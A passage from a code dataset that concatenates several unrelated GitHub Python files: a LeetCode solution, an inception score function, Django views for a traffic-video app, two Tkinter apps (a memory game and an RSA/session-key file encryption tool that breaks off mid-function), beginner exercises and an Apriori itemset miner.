return False\n\n return True\n\n val = 0\n p1 = [row[i] for i, row in enumerate(nums) if prime(row[i])]\n p2 = [row[-i - 1] for i, row in enumerate(nums) if prime(row[-i - 1])]\n\n return max(max(p1) if p1 else 0, max(p2) if p2 else 0)\n\n\nif __name__ == '__main__':\n nums = [[1, 2, 3], [5, 6, 7], [9, 10, 11]]\n print(Solution().diagonalPrime(nums))\n\n nums2 = [[1, 2, 3], [5, 17, 7], [9, 11, 10]]\n print(Solution().diagonalPrime(nums2))\n","repo_name":"mihirh19/Python","sub_path":"LeetCodeSolution/2614.Prime_In_Diagonal.py","file_name":"2614.Prime_In_Diagonal.py","file_ext":"py","file_size_in_byte":1858,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"74638841494","text":"import math\n\nimport torch\nimport torch.nn.functional as F\nfrom torch.autograd import Variable\nfrom torchvision.models import inception_v3\n\ndevice = torch.device(\"cuda\") if torch.cuda.is_available() else torch.device(\"cpu\")\n\nnet = inception_v3(pretrained=True).to(device)\n\n\ndef inception_score(images, batch_size):\n scores = []\n num_steps = int(math.ceil(float(len(images)) / float(batch_size)))\n for i in range(num_steps):\n s = i * batch_size\n e = (i + 1) * batch_size\n mini_batch = images[s:e]\n batch = Variable(mini_batch)\n s, _ = net(batch)\n scores.append(s)\n scores = torch.cat(scores, 0)\n p_yx = F.softmax(scores, 1)\n p_y = p_yx.mean(0).unsqueeze(0).expand(p_yx.size(0), -1)\n KL_d = p_yx * (torch.log(p_yx) - torch.log(p_y))\n final_score = KL_d.mean()\n return final_score\n","repo_name":"HenryDashwood/gans","sub_path":"vanilla_gan/inception_score.py","file_name":"inception_score.py","file_ext":"py","file_size_in_byte":846,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"20669843329","text":"# 7.Para registrar las actividades de un usuario en un juego dado se requiere guardar los siguientes \n#datos:nombre del jugador, nivel alcanzado en el juego, puntaje máximo y tiempo de juego.Utilizando la estructura que considere más adecuada,\n#almacenar la información de varios usuarios ingresados desde teclado.\n#Tener en cuenta que se necesita acceder a un usuario determinado en forma directa sin recorrerla.\n#\n#y 8 \n# 8.Con la estructura generada en el ejercicio 7, imprimir los datos de un usuario dado sin recorrerla estructura. \n# ¿La elección sobre la estructura fue adecuada? ¿Cuál usó? \n#\n# y 9\n# 9.Con la estructura generada en el ejercicio 7, imprima solos los nombres de los usuarios que jugaron sin recorrer la estructura.\n#\n#y 10\n# 10. Dada la estructura generada en el ejercicio 7 imprimir el usuario que obtuvo mayor puntaje\n#y 11\n# 11.Dada la estructura del ejercicio 7, ingresar los datos correspondientes a la jugada de un usuario.\n# Si el usuario existe previamente, guardar los datos de mayor puntaje.\n# Luego imprimir el ranking de los 10 mejores puntajes.\n\ndef ingresarUsuarios ():\n \"\"\"ingresa usuarios y los almacena en un diciconario\"\"\"\n #pto 7\n\n diccio= {}\n nombre = input(\"ingrese nombre: \")\n while nombre != \"zzz\":\n nivel = int(input(\"ingrese nivel: \"))\n puntaje_max = int(input(\"ingrese puntaje maximo: \"))\n tiempo_juego = int(input(\"ingrese tiempo de juego: \"))\n diccio[nombre] = [nivel, puntaje_max, tiempo_juego]\n nombre = input(\"ingrese nombre: \")\n\n return diccio\n\n\ndiccio_usuarios = ingresarUsuarios()\n\n#pto 8\n# nom = input(\"ingrese el nombre de uno de los usuarios ingresados: \")\n# if nom in diccio_usuarios:\n# print (f\"Los datos del usuario '{nom}' son: \",(diccio_usuarios[nom]))\n\n\n#pto 9\n#print (diccio_usuarios.keys())\n\n#pto 10\n# max = -1\n# for valor in diccio_usuarios:\n# if (diccio_usuarios[valor][1] > max):\n# max = diccio_usuarios[valor][1]\n# usu_mayor = valor\n \n# print (f\"El usuario que saco mayor puntaje es: {usu_mayor}\")\n \n\n#pto 11\nprint (\"nueva jugada de un usuario\")\nnom_nuevo = input(\"ingrese nombre: \")\nnivel_nuevo = int(input(\"ingrese nivel: \"))\npuntaje_max_nuevo = int(input(\"ingrese puntaje maximo: \"))\ntiempo_juego_nuevo = int(input(\"ingrese tiempo de juego: \"))\nif nom_nuevo in diccio_usuarios:\n if puntaje_max_nuevo > diccio_usuarios[nom_nuevo][1]:\n diccio_usuarios[nom_nuevo] = [nivel_nuevo, puntaje_max_nuevo, tiempo_juego_nuevo]\nelse:\n diccio_usuarios[nom_nuevo] = [nivel_nuevo, puntaje_max_nuevo, tiempo_juego_nuevo]\n ","repo_name":"tomasS2/Sem-py","sub_path":"Practicas/Prac 2019/pra1_2019/ej7,8,9,10,11.py","file_name":"ej7,8,9,10,11.py","file_ext":"py","file_size_in_byte":2591,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"5757825641","text":"from django.urls import path, include\nfrom rest_framework.routers import DefaultRouter\n\nfrom user_api.api.views import ProfileViewSet, ProfileStatusViewSet, AvatarUpdateView\n\nrouter = DefaultRouter()\nrouter.register('profiles', ProfileViewSet)\nrouter.register('status', ProfileStatusViewSet)\n\nurlpatterns = [\n path('', include(router.urls)),\n path('avatar/', AvatarUpdateView.as_view(), name='avatar-update'),\n]\n","repo_name":"suraj220797/question-times","sub_path":"user_api/api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":419,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"28078905021","text":"from django.http import JsonResponse\nfrom django.shortcuts import render\nfrom django.views.decorators.csrf import csrf_exempt\nfrom wrapper import TorchDetection, Speed\nimport multiprocessing\nfrom multiprocessing import Process\nfrom utils.general import Log, trans_vio\nimport os\nimport cv2\nimport json\nimport glob\n\n\nclass RequestHandler:\n def __init__(self, config_path):\n multiprocessing.set_start_method('spawn')\n self.config_path = config_path\n self.config_dict = None\n self.load_config()\n self.det_process = None\n self.spd_process = None\n self.config_list = [json_file for json_file in glob.glob('config-*.json')] # help to switch videos quickly\n\n def load_config(self):\n with open(self.config_path, 'r') as f:\n self.config_dict = json.load(f)\n\n @staticmethod\n def read_progress():\n stage, curr, all = 1, 0, 1\n try:\n with open(\"./progress.app\", 'r') as f:\n line = f.readline().strip().split(\"/\")\n if len(line) == 3:\n stage, curr, all = int(line[0]), int(line[1]), int(line[2])\n except FileNotFoundError:\n Log.warn(\"No such progress file, maybe detection process not loaded yet.\")\n return stage, curr, all\n\n @staticmethod\n def index(request):\n if request.method == 'GET':\n return render(request, 'start.html')\n\n def result(self, request, config_name='自行上传'):\n if request.method == 'GET':\n config_list = [config_name, ] # rendered in the first place\n config_list.extend([config for config in self.config_list if config != config_name])\n if config_name != '自行上传' and config_name != self.config_path: # video changed\n self.spd_process = None\n if os.path.exists('./progress.app'):\n os.remove('./progress.app')\n self.config_path = config_name\n self.load_config()\n\n # start detection\n det = TorchDetection(json_path=self.config_path,\n in_det_file=self.config_dict[\"Detection\"][\"in_det_path\"])\n self.det_process = Process(target=det.detect)\n self.det_process.start()\n # init\n return render(request, 'process.html', {'options': config_list})\n\n @csrf_exempt\n def upload(self, request):\n if request.method == 'POST':\n if os.path.exists('./progress.app'):\n os.remove('./progress.app')\n f = request.FILES['file']\n with open(str(f), 'wb+') as dest:\n for chuck in f.chunks():\n dest.write(chuck)\n\n self.config_dict[\"Detection\"][\"vdo_path\"] = self.config_dict[\"Speed_Estimation\"][\"in_vdo_path\"] = str(f)\n with open(self.config_path, 'w') as file:\n json.dump(self.config_dict, file, indent=2, ensure_ascii=False)\n det = TorchDetection(json_path=self.config_path)\n self.det_process = Process(target=det.detect)\n self.det_process.start()\n Log.info(\"Upload successfully, starting detection process...\")\n return JsonResponse({'success': True})\n\n def get_progress(self, request):\n if request.method == 'GET':\n stage, curr, all = RequestHandler.read_progress()\n if curr >= all:\n if stage == 1 and self.spd_process is None:\n spd = Speed(self.config_path)\n self.spd_process = Process(target=spd.calSpeed)\n self.spd_process.start()\n Log.info(\"Detection & Tracking complete successfully, starting speed estimation process...\")\n\n if stage == 2 and curr == 1: # All done, return rendered video path\n cap = cv2.VideoCapture(self.config_dict[\"Speed_Estimation\"][\"out_vdo_path\"])\n framerate = cap.get(cv2.CAP_PROP_FPS)\n trans_vio('violation.json', 'violation-after.json')\n\n Log.info(\"All stages complete!\")\n return JsonResponse({'stage': stage, 'curr': curr, 'all': all,\n 'vdo': '/vdo/' + self.config_dict[\"Speed_Estimation\"][\"out_vdo_path\"],\n 'framerate': framerate})\n return JsonResponse({'stage': stage, 'curr': curr, 'all': all, 'vdo': '', 'framerate': -1})\n","repo_name":"SCUCnSoftBei2020/SmartTraffic","sub_path":"cnsoftapp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4509,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"31007873861","text":"from tkinter import*\nimport random\nfrom tkinter import font\n\nclass Spomin():\n def __init__(self, master):\n self.platno= Canvas(master, width=1450, height=1000, background = \"orange\")\n self.platno.pack()\n self.sezObrazov = []\n self.sezImen = []\n self.štVrstic = 4\n self.štStolpcev = 5\n self.vsiPari = 10\n self.fontNapisiŠtetje = font.Font(family='Helvetica', size=20, weight = 'bold')\n self.napis = self.platno.create_text(630,500,text='')\n self.hrbet = PhotoImage(file = 'bela.gif')\n for i in range(1,11): \n self.sezObrazov.append(PhotoImage(file = 'obraz' + str(i) + '.gif'))\n self.sezImen.append(PhotoImage(file = 'ime' + str(i) + '.gif'))\n\n self.naslovnica = PhotoImage(file = 'naslovnica.gif')\n self.zacetnaSlika = self.platno.create_image(725, 500, image = self.naslovnica)\n self.fontGumb = font.Font(family='Helvetica', size=16, weight = 'bold')\n self.gumb = Button(self.platno, command = self.zacni)\n self.gumb.configure(width = 15, height = 5, text = 'START', font = self.fontGumb, bd = 10)\n self.gumbWindow = self.platno.create_window(750,700, window = self.gumb)\n self.platno.bind('',self.klikLeva)\n self.platno.bind('', self.ponastavi)\n \n def zacni(self):\n '''Funkcija nastavi platno na začetek igre.'''\n self.platno.delete(self.zacetnaSlika)\n self.platno.delete(self.gumbWindow)\n self.napis_štParov = self.platno.create_text(1350,300,text='')\n self.napis_štKlikov = self.platno.create_text(1350,500,text='')\n self.štParov = 0\n self.števecKlikov = 0 \n self.polja = self.matrika()\n self.narišiMatriko()\n self.stanje = 'IGRA' \n \n def matrika(self):\n '''Funkcija ustvari matriko velikosti 5*4'''\n sez = list(range(1,11))+list(range(-10,0)) \n random.shuffle(sez)\n matrika = []\n for i in range(0,len(sez),5): \n v = sez[i:i+5] \n matrika.append(v)\n return matrika\n \n\n def narišiMatriko(self):\n '''Funkcija, v prej pripravljeno matriko, vstavi pare.'''\n self.matrikaId1 = [[0]*self.štStolpcev for i in range(self.štVrstic)]\n self.matrikaId2 = [[0]*self.štStolpcev for i in range(self.štVrstic)]\n for i in range(self.štVrstic): \n for j in range(self.štStolpcev):\n vrednost = self.polja[i][j]\n if vrednost < 0:\n slika = self.sezImen[-vrednost-1] #Imena imajo negativen indeks\n else:\n slika = self.sezObrazov[vrednost-1] #Obrazi pa pozitiven indeks\n x = j*250 + 125\n y = i*250 + 125\n self.matrikaId1[i][j] = self.platno.create_image(x,y,image = slika) #Matrika odprtih parov\n self.matrikaId2[i][j] = self.platno.create_image(x,y,image = self.hrbet) #Matrika zaprtih parov\n\n\n def klikLeva(self,event):\n '''Funkcija, ob levem kliku na miški, odpira pare. Za primerjavo dveh odprtih slik pokliče funkcijo primerjava'''\n self.z = event.x//250 #stolpec matrike (začnejo se z indeksom 0)\n self.k = event.y//250 #vrstica matrike (začnejo se z indeksom 0)\n sezID = self.platno.find_overlapping(event.x, event.y, event.x+1, event.y+1)\n if sezID != (): #Preverjamo, če je par že odprt\n Id = sezID[-1]\n if Id == self.matrikaId1[self.k][self.z]: \n self.platno.itemconfig(self.napis, text='Ta par je že odprt!')\n self.platno.after(1000,lambda:self.platno.itemconfig(self.napis, text='')) #lambda definira funkcijo brez imena, ki naredi tisto kar sledi za : \n return \n else:\n pass\n vrednost = self.polja[self.k][self.z]\n if vrednost < 0:\n slika = self.sezImen[-vrednost-1]\n self.ind = -vrednost-1\n else:\n slika = self.sezObrazov[vrednost-1]\n self.ind = vrednost-1\n self.platno.tag_raise(self.matrikaId1[self.k][self.z])\n self.števecKlikov += 1 \n if self.števecKlikov%2 != 0: #Prva slika para\n self.ind1 = self.ind\n self.a = self.z \n self.b = self.k\n else:\n self.ind2 = self.ind #Druga slika para\n self.c = self.z\n self.d = self.k\n self.platno.after(500,self.primerjava)\n self.platno.itemconfig(self.napis_štKlikov, text='Število klikov:\\n' + ' ' + str(self.števecKlikov), font = self.fontNapisiŠtetje)\n\n def primerjava(self):\n '''Funkcija primerja sliki, če sta par. Če ne, jih zapre.'''\n if self.ind1 == self.ind2:\n self.štParov += 1\n else:\n self.platno.tag_raise(self.matrikaId2[self.b][self.a])\n self.platno.tag_raise(self.matrikaId2[self.d][self.c])\n self.platno.itemconfig(self.napis_štParov, text='Število parov: \\n'+ ' ' + str(self.štParov)+ '/10' ,font = self.fontNapisiŠtetje ) \n if self.štParov == self.vsiPari:\n self.stanje = 'KONEC'\n self.platno.after(300,self.koncaj())\n \n def ponastavi(self,event):\n '''Funkcija ponastavi igro na začetek'''\n if self.stanje == 'ZAČETEK':\n self.platno.delete(self.napis_štParov) \n self.platno.delete(self.napis_štKlikov)\n self.platno.delete(self.konec)\n self.platno.delete(self.fin)\n self.zacni()\n else:\n return\n \n def koncaj(self):\n '''Funkcija čestita uporabniku ob koncu. In ponudi možnost ponovitve igre.'''\n if self.stanje == 'KONEC':\n fnt = font.Font(family='Helvetica', size=30, weight='bold')\n tekst = 12*' '+'Čestitamo! Odkril si vse pare!\\nZa novo igro pritisni desno tipko na miški.'\n self.slikaKonec = PhotoImage(file = 'baloni.gif')\n self.fin = self.platno.create_image(725, 500, image = self.slikaKonec)\n self.konec = self.platno.create_text(750, 680, text=tekst, fill='black', font=fnt)\n self.stanje = 'ZAČETEK'\n \n \n \n\n \n\nmaster = Tk()\naplikacija = Spomin(master)\nmaster.mainloop()\n\n\n\n\n \n","repo_name":"KatjaB7/Spomin","sub_path":"Python/Spomin.py","file_name":"Spomin.py","file_ext":"py","file_size_in_byte":6400,"program_lang":"python","lang":"sl","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"13462300302","text":"\"\"\"\nSkeleton file for the project 1 of the LINGI2364 course.\nUse this as your submission file. Every piece of code that is used in your program should be put inside this file.\n\nThis file given to you as a skeleton for your implementation of the Apriori and Depth\nFirst Search algorithms. You are not obligated to use them and are free to write any class or method as long as the\nfollowing requirements are respected:\n\nYour apriori and alternativeMiner methods must take as parameters a string corresponding to the path to a valid\ndataset file and a double corresponding to the minimum frequency.\nYou must write on the standard output (use the print() method) all the itemsets that are frequent in the dataset file\naccording to the minimum frequency given. Each itemset has to be printed on one line following the format:\n[, , ... ] ().\nTip: you can use Arrays.toString(int[] a) to print an itemset.\n\nThe items in an itemset must be printed in lexicographical order. However, the itemsets themselves can be printed in\nany order.\n\nDo not change the signature of the apriori and alternative_miner methods as they will be called by the test script.\n\n__authors__ = \"\"\n\"\"\"\nimport time\n\nclass Dataset:\n \"\"\"Utility class to manage a dataset stored in a external file.\"\"\"\n\n def __init__(self, filepath):\n \"\"\"reads the dataset file and initializes files\"\"\"\n self.transactions = list()\n self.items = set()\n\n try:\n lines = [line.strip() for line in open(filepath, \"r\")]\n lines = [line for line in lines if line] # Skipping blank lines\n for line in lines:\n transaction = list(map(int, line.split(\" \")))\n self.transactions.append(transaction)\n for item in transaction:\n self.items.add(item)\n except IOError as e:\n print(\"Unable to read dataset file!\\n\" + e)\n\n def trans_num(self):\n \"\"\"Returns the number of transactions in the dataset\"\"\"\n return len(self.transactions)\n\n def items_num(self):\n \"\"\"Returns the number of different items in the dataset\"\"\"\n return len(self.items)\n\n def get_transaction(self, i):\n \"\"\"Returns the transaction at index i as an int array\"\"\"\n return self.transactions[i]\n\n\ndef F_i(F, i):\n \"\"\" Return all the element at level i in dataset F \"\"\"\n f_i = []\n for item in F:\n if len(item) == i:\n f_i.append(item)\n return f_i\n\n\ndef to_string(list_to_convert):\n \"\"\" Convert a list of item in a string ordered alphabetically/numericaly \"\"\"\n string = \"\"\n for item in list_to_convert:\n string += str(item)\n\n return string\n\n\ndef to_list(list_of_string):\n \"\"\" Convert a list of string in a list of list of characters \"\"\"\n listed = []\n for item in list_of_string:\n listed.append(sorted(item))\n\n return listed\n\n\ndef frequency(c, all_transaction, nbre_transaction):\n \"\"\" Function that return the frequency of the candidate c is the dataset \"\"\"\n support = 0\n for transaction in all_transaction : # Go to each transaction\n count = 0\n for char in c : # Check if the item is in the transaction\n for i in range(len(transaction)) :\n if char == transaction[i]:\n count += 1\n\n if count == len(c):\n support += 1\n break # Found\n\n freq = support / nbre_transaction\n return freq\n\n\ndef generate_candidates(candidates):\n \"\"\" Generate candidates by combining strings that are identical, except for the last symbol \"\"\"\n generated_candidates = []\n for i in range(len(candidates)):\n for j in range(i+1, len(candidates)):\n if candidates[i][:-1] == candidates[j][:-1]: # We compare the string except for the last symbol\n generated_candidates.append(candidates[i][:-1])\n generated_candidates[-1].append(candidates[i][-1])\n generated_candidates[-1].append(candidates[j][-1])\n return generated_candidates\n\n\n\ndef apriori(filepath, minFrequency):\n \"\"\" Runs the apriori algorithm (the 'basic' one) on the specified file with the given minimum frequency \"\"\"\n # Initialisation\n dataset = Dataset(filepath)\n F = []\n all_transaction = dataset.transactions\n nbre_transaction = dataset.trans_num()\n \n \n # We create first F_1\n for item in dataset.items:\n support = 0\n for transaction in all_transaction:\n if item in transaction:\n support += 1\n freq = support / nbre_transaction\n if freq >= minFrequency:\n # Convert to the correct output format \n a = []\n a.append(item)\n str_print = \" (\" + str(freq) + \")\"\n print(a, str_print)\n F.append([item])\n \n # Loop to find the solution\n i = 1\n while F_i(F, i):\n candidates = generate_candidates(F_i(F, i)) # Generate candidates for the next level\n for c in candidates:\n freq = frequency(c, all_transaction, nbre_transaction)\n if freq >= minFrequency:\n # Convert to the correct output format \n tmp = []\n for i in range(len(c)):\n tmp.append(int(c[i]))\n str_print = \" (\" + str(freq) + \")\"\n print(tmp, str_print)\n F.append(c) # Keep the candidate with enough frequency in the dataset\n i += 1\n\n\n\n\n\"\"\"\nPart of our Alternative miner\n\n\"\"\"\n\ndef projected_dataset_make(items,nbre_transaction, all_transaction, minFrequency) :\n \"\"\" This function permit to create the initial projected dataset. \"\"\"\n projected_dataset = []\n new_items = []\n for it in items:\n support = 0\n tmp = []\n for i in range(nbre_transaction):\n if it in all_transaction[i]:\n support += 1\n tmp.append(i)\n freq = support / nbre_transaction\n if freq >= minFrequency:\n projected_dataset.append(tmp) \n new_items.append(it)\n \n return new_items, projected_dataset\n\n\ndef create_iteration(items, projected_dataset) :\n \"\"\" This function permit to create the new itemset and new projected dataset. \"\"\"\n new_itemset = []\n new_projected = []\n\n # New itemset\n tmp = []\n for it in items[0] :\n tmp.append(it)\n\n for j in items[1:] :\n tmp2 = tmp.copy()\n for z in j :\n if z not in tmp2 :\n tmp2.append(z)\n new_itemset.append(tmp2)\n\n # New projected dataset\n for i in range(len(projected_dataset[1:])) :\n tmp = []\n for j in projected_dataset[1:][i] :\n if(j in projected_dataset[0]) :\n tmp.append(j)\n if tmp == [] : # If we don't find any intersection, we will be < min Frenquency and not use anymore this item (for the current branche)\n del new_itemset[i]\n\n else :\n new_projected.append(tmp)\n \n return new_itemset, new_projected\n\n\n\n\ndef depthFirstSearch(items, projected_dataset, nbre_transaction, minFrequency) :\n for i in range(len(items)) : \n\n freq = len(projected_dataset[i])/nbre_transaction\n\n if freq >= minFrequency :\n # To print\n str_print = \" (\" + str(freq) + \")\"\n print(items[i], str_print)\n\n new_item, new_projected = create_iteration(items[i:], projected_dataset[i:])\n\n # Iteration\n depthFirstSearch(new_item, new_projected, nbre_transaction, minFrequency)\n\n\ndef alternative_miner(filepath, minFrequency):\n \"\"\" Runs the alternative frequent itemset mining algorithm on the specified file with the given minimum frequency \"\"\"\n dataset = Dataset(filepath)\n all_transaction = dataset.transactions\n nbre_transaction = len(all_transaction) \n items = list(dataset.items)\n\n new_items, projected_dataset = projected_dataset_make(items,nbre_transaction, all_transaction, minFrequency)\n\n tmp = []\n array_item = []\n for i in new_items :\n tmp = []\n tmp.append(i)\n array_item.append(tmp)\n depthFirstSearch(array_item, projected_dataset, nbre_transaction, minFrequency)\n\n\n#######\n# RUN #\n#######\n#data = Dataset(\"Datasets/toy.dat\") #Dataset(\"Datasets/chess.dat\") # Dataset(\"Datasets/accidents.dat\") #Dataset(\"Datasets/toy.dat\")\n#print(\"Data : \", data)\n#print(\"data.transactions : \", data.transactions)\n#print(\"data.trans_num : \", data.trans_num())\n#print(\"data.items : \", data.items)\n#print(\"data len(items) : \", len(data.items))\n\n\n#start = time.time()\n#\n#end = time.time()\n#time_n = end - start\n#start = time.time()\n#apriori(\"Datasets/toy.dat\", 0.125)\nalternative_miner(\"Datasets/toy.dat\", 0.125)\n#end = time.time()\n#time_n = end - start\n#print(time_n)\n\n#start = time.time()\n#apriori(\"Datasets/chess.dat\", 0.9)\n#alternative_miner(\"Datasets/chess.dat\", 0.9)\n#end = time.time()\n#time_n = end - start\n#print(time_n)\n\n\n#start = time.time()\n#apriori(\"Datasets/accidents.dat\", 0.8)\n#alternative_miner(\"Datasets/accidents.dat\", 0.8)\n#end = time.time()\n#time_n = end - start\n#print(time_n)\n\n","repo_name":"StackPie71/LINGI2364-Mining-Patterns","sub_path":"Project 1 Implementing Apriori/frequent_itemset_miner.py","file_name":"frequent_itemset_miner.py","file_ext":"py","file_size_in_byte":9267,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"18804820531","text":"import os\nfrom tkinter import *\nimport tkinter.ttk as ttk\nfrom tkinter import filedialog as fd\nimport rsa\nimport crypto\nimport logic\nimport dialog\n\n\nwindow = Tk()\n\n# Константы\nFONT = 11\n\n# Настройки сессии\nsession_frame = LabelFrame(window, text='Настройка сессии', font=f'Arial {FONT + 1}', bg='white')\nfrom_label = Label(session_frame, text='Я:', font=f'Arial {FONT}', bg='white')\nfrom_box_values = []\nfrom_box = ttk.Combobox(session_frame, font=f'Arial {FONT}', justify='center', state='readonly')\nname_delete_button_image = PhotoImage(file='images/delete_button.png')\nname_delete_button = Button(session_frame, image=name_delete_button_image,\n font=f'Arial {FONT}', bg='white')\nname_add_button_image = PhotoImage(file='images/add_button.png')\nname_add_button = Button(session_frame, image=name_add_button_image,\n font=f'Arial {FONT}', bg='white')\nkeys_label = Label(session_frame, text='Сессионные ключи:', font=f'Arial {FONT}', bg='white')\nkeys_box_values = []\nkeys_box = ttk.Combobox(session_frame, font=f'Arial {FONT}', justify='center',\n state='readonly')\nkey_delete_button_image = PhotoImage(file='images/delete_button.png')\nkey_delete_button = Button(session_frame, image=key_delete_button_image,\n font=f'Arial {FONT}', bg='white')\nkey_add_button_image = PhotoImage(file='images/add_button.png')\nkey_add_button = Button(session_frame, image=key_add_button_image,\n font=f'Arial {FONT}', bg='white')\nto_label = Label(session_frame, text='Кто-то:', font=f'Arial {FONT}', bg='white')\nto_box_values = []\nto_box = ttk.Combobox(session_frame, font=f'Arial {FONT}', justify='center', state='readonly')\ncode_label = Label(session_frame, text='Секретный код:', font=f'Arial {FONT}', bg='white')\ncode_entry = Entry(session_frame, font=f'Arial {FONT}', show='*', relief='solid', justify='center')\n\n# Шифрование/Расшифрование/Подпись\ncypher_frame = LabelFrame(window, text='Шифрование/Расшифрование/Подпись', font=f'Arial {FONT + 1}',\n bg='white')\nadd_file_button_image = PhotoImage(file='images/add_file_button.png')\nfile_label = Label(cypher_frame, text='Входной файл:', font=f'Arial {FONT}', bg='white')\nfile_entry = Entry(cypher_frame, font=f'Arial {FONT}', relief='solid', state='readonly')\nfile_add_button = Button(cypher_frame, image=add_file_button_image, font=f'Arial {FONT}', bg='white',\n relief='flat')\nfile_text = Text(cypher_frame, wrap=WORD, font=f'Arial {FONT}', relief='solid',\n state='disabled', padx=5, pady=3)\nencrypt_button = Button(cypher_frame, text='Зашифровать', font=f'Arial {FONT}', bg='white', disabledforeground='gray77')\ndecrypt_button = Button(cypher_frame, text='Расшифровать', font=f'Arial {FONT}', bg='white', disabledforeground='gray77')\nsign_button = Button(cypher_frame, text='Подписать', font=f'Arial {FONT}', bg='white', disabledforeground='gray77')\nverify_button = Button(cypher_frame, text='Проверить', font=f'Arial {FONT}', bg='white', disabledforeground='gray77')\nsignature_label = Label(cypher_frame, text='', font=f'Arial {FONT + 5}', bg='white')\n\n\ndef get_options():\n return from_box.get(), to_box.get(), keys_box.get(), code_entry.get()\n\n\ndef update_state():\n window.focus()\n logic.load_keys_box(keys_box, keys_box_values,\n from_box.get(), to_box.get())\n check_buttons_state()\n signature_label['text'] = ''\n\n\ndef validate_name(name):\n if name == '':\n return -1\n\n for value in from_box_values:\n if value == name:\n return -1\n\n return 0\n\n\ndef add_name(name, code):\n from_box_values.append(name)\n to_box_values.append(name)\n\n from_box['values'] = from_box_values\n to_box['values'] = to_box_values\n\n generate_new_keys(name, code)\n\n from_box.set(name)\n update_state()\n\n\ndef delete_name_button_clicked():\n window.focus()\n name = from_box.get()\n\n dirs_paths = [\n f'{rsa.PRIVATE_KEYS_DIR}',\n f'{rsa.PUBLIC_KEYS_DIR}',\n f'{rsa.SESSION_KEYS_DIR}',\n f'{crypto.FILES_DIR}',\n f'{crypto.SIGNATURES_DIR}'\n ]\n for dir_path in dirs_paths:\n logic.delete_files(dir_path, name)\n\n logic.delete_from_combobox(from_box, from_box_values, name)\n logic.delete_from_combobox(to_box, to_box_values, name)\n\n if len(from_box_values) > 0:\n from_box.set(from_box_values[0])\n else:\n from_box.set('')\n\n update_state()\n\n\ndef validate_key_name(name):\n if name == '' or name.find('encrypted_') != -1:\n return -1\n\n for value in keys_box_values:\n if name == value:\n return -1\n\n return 0\n\n\ndef generate_new_keys(name, code):\n window.focus()\n private_path = f'{rsa.PRIVATE_KEYS_DIR}{name}.txt'\n public_path = f'{rsa.PUBLIC_KEYS_DIR}{name}.txt'\n rsa.generate_keys(code, private_path, public_path)\n\n\ndef delete_key_button_clicked():\n from_name, to_name, key_name, _ = get_options()\n\n logic.delete_session_keys(from_name, to_name, key_name)\n parts = [key_name, f'encrypted_{key_name}', key_name.replace('encrypted_', '')]\n for part in parts:\n logic.delete_from_combobox(keys_box, keys_box_values, part)\n\n if len(keys_box_values) > 0:\n keys_box.set(keys_box_values[0])\n else:\n keys_box.set('')\n\n check_buttons_state()\n\n\ndef generate_session_key(key_name):\n from_name = from_box.get()\n to_name = to_box.get()\n\n session_key = crypto.generate_session_key()\n logic.save_session_key(from_name, to_name, key_name, session_key)\n\n keys_box_values.append(key_name)\n keys_box['values'] = keys_box_values\n keys_box.set(key_name)\n\n check_buttons_state()\n\n\ndef clear_buttons_state():\n buttons = [encrypt_button, decrypt_button, sign_button, verify_button]\n for button in buttons:\n button['state'] = 'normal'\n\n\ndef change_buttons_state(buttons, states):\n for i in range(len(buttons)):\n buttons[i]['state'] = 'normal' if states[i] else 'disable'\n\n\ndef check_buttons_state():\n from_name, to_name, key_name, _ = get_options()\n buttons = [name_delete_button, key_add_button, key_delete_button]\n from_flag = from_name != ''\n to_flag = to_name != ''\n key_flag = key_name != ''\n if not from_flag:\n change_buttons_state(buttons, [False, False, False])\n elif not to_flag and not key_flag:\n change_buttons_state(buttons, [True, False, False])\n else:\n change_buttons_state(buttons, [True, True, True])\n\n buttons = [encrypt_button, decrypt_button, sign_button, verify_button]\n path = file_entry.get()\n if path == '':\n change_buttons_state(buttons, [False, False, False, False])\n return\n\n common_file_name = os.path.basename(path).replace('encrypted_', '').replace('decrypted_', '')\n encrypted_flag = path.find('encrypted_') != -1\n decrypted_flag = path.find('decrypted_') != -1\n verify_path = f'{crypto.SIGNATURES_DIR}{to_name}_{common_file_name}'\n verify_flag = os.path.exists(verify_path)\n\n if encrypted_flag:\n change_buttons_state(buttons, [False, True, False, False])\n elif decrypted_flag:\n if verify_flag:\n change_buttons_state(buttons, [False, False, False, True])\n else:\n change_buttons_state(buttons, [False, False, False, False])\n elif key_flag:\n change_buttons_state(buttons, [True, False, True, False])\n else:\n change_buttons_state(buttons, [False, False, True, False])\n\n\ndef add_file_button_click():\n logic.change_color(file_entry, 'gray95', 'readonlybackground')\n path = fd.askopenfilename(initialdir=crypto.FILES_DIR, title='Выбор файла',\n filetypes=[('Текстовые', 'txt'), ('Все', '*')])\n if path == '':\n return\n\n logic.replace_object_data(file_entry, path)\n with open(path, 'rb') as file:\n logic.replace_object_data(file_text, file.read())\n\n signature_label['text'] = ''\n check_buttons_state()\n\n\ndef encrypt():\n common_path = file_entry.get()\n if common_path == '':\n logic.change_color(file_entry, 'red', 'readonlybackground')\n return\n\n from_name, to_name, key_name, code = get_options()\n encrypted_path = logic.get_encrypted_file_path(common_path)\n try:\n session_key = logic.read_session_key(from_name, to_name, key_name, code)\n crypto.encrypt_file(session_key, common_path, encrypted_path)\n except ValueError:\n keys_box.set('Bad key!')\n return\n\n logic.replace_object_data(file_entry, encrypted_path)\n with open(encrypted_path, 'rb') as file:\n logic.replace_object_data(file_text, file.read())\n\n signature_label['text'] = ''\n check_buttons_state()\n\n\ndef decrypt():\n window.focus()\n encrypted_path = file_entry.get()\n if encrypted_path == '':\n logic.change_color(file_entry, 'red', 'readonlybackground')\n return\n\n decrypted_path = logic.get_decrypted_file_path(encrypted_path)\n from_name, to_name, key_name, code = get_options()\n try:\n session_key = logic.read_session_key(from_name, to_name, key_name, code)\n except ValueError:\n 